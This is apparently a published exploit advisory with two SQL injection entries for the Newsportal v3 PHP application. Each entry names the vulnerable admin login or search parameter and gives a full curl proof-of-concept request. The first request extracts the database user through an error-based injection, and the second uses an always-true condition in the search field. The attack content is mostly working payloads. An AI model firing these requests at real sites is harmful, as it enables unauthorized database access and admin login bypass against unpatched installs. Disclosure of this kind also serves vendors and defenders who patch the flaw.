# Exploit Title: Newsportal v3 - 'uname' - SQL Injection # Date: 2020-07-24 # Exploit Author: gh1mau # Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/ # Vendor Homepage: https://phpgurukul.com/news-portal-project-in-php-and-mysql/ # Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7643 # Version: V3 # Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64) Vulnerable File: ---------------- \admin\index.php Vulnerable Code: ---------------- line 10 : $uname=$_POST['username']; Vulnerable Issue: ----------------- $uname=$_POST['username']; is not filtered properly letting attackers to inject arbitrary payload(s) Notes: ------ [+] This testing is done while turning on the error_display=On in php.ini [+] If the error display is set to off, blind payload(s) should be used instead Sample POC Request: ------------------- curl -i -s -k --location --request POST 'http://localhost/newsportal/admin/' \ --header 'Origin: http://localhost:88' \ --header 'Cookie: PHPSESSID=a2r4tjra195ldmpf505ckqnpo4' \ --header 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' \ --header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36' \ --header 'Connection: close' \ --header 'Referer: http://localhost:88/newsportal/admin/' \ --header 'Sec-Fetch-Site: same-origin' \ --header 'Sec-Fetch-Dest: document' \ --header 'Host: localhost:88' \ --header 'Accept-Encoding: gzip, deflate' \ --header 'Sec-Fetch-Mode: navigate' \ --header 'Cache-Control: max-age=0' \ --header 'Upgrade-Insecure-Requests: 1' \ --header 'Sec-Fetch-User: ?1' \ --header 'Accept-Language: en-US,en;q=0.9' \ --header 'Content-Length: 331' \ --header 'Content-Type: application/x-www-form-urlencoded' \ --data-raw 'username=test%27%29%20OR%20%28SELECT%204701%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x716b706b71%2C%28MID%28%28IFNULL%28CAST%28CURRENT_USER%28%29%20AS%20NCHAR%29%2C0x20%29%29%2C1%2C54%29%29%2C0x716b7a6b71%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x%29a%29--%20kfZH&password=test&login=' -------- # Exploit Title: Newsportal v3 - 'searchtitle' - SQL Injection # Date: 2020-07-24 # Exploit Author: gh1mau # Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/ # Vendor Homepage: https://phpgurukul.com/news-portal-project-in-php-and-mysql/ # Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7643 # Version: V3 # Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64) Vulnerable File: ---------------- \search Vulnerable Code: ---------------- line 46 : $st=$_SESSION['searchtitle']=$_POST['searchtitle']; Vulnerable Issue: ----------------- $st=$_SESSION['searchtitle']=$_POST['searchtitle']; is not filtered properly letting attackers to inject arbitrary payload(s) Payload: -------- 123' or '1'='1'-- - [+] Put the payload inside the Search Form and hit the submit button Sample POC Request: ------------------- curl -i -s -k --location --request POST 'http://localhost/newsportal/search.php' \ --header 'Origin: http://localhost:88' \ --header 'Cookie: PHPSESSID=27fo3inj3bjsll7b98obuk2kb5' \ --header 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' \ --header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36' \ --header 'Connection: close' \ --header 'Referer: http://localhost:88/newsportal/search.php' \ --header 'Sec-Fetch-Site: same-origin' \ --header 'Sec-Fetch-Dest: document' \ --header 'Host: localhost:88' \ --header 'Accept-Encoding: gzip, deflate' \ --header 'Sec-Fetch-Mode: navigate' \ --header 'Cache-Control: max-age=0' \ --header 'Upgrade-Insecure-Requests: 1' \ --header 'Sec-Fetch-User: ?1' \ --header 'Accept-Language: en-US,en;q=0.9' \ --header 'Content-Length: 33' \ --header 'Content-Type: application/x-www-form-urlencoded' \ --data-raw 'searchtitle=123' or '1'='1'--%20-'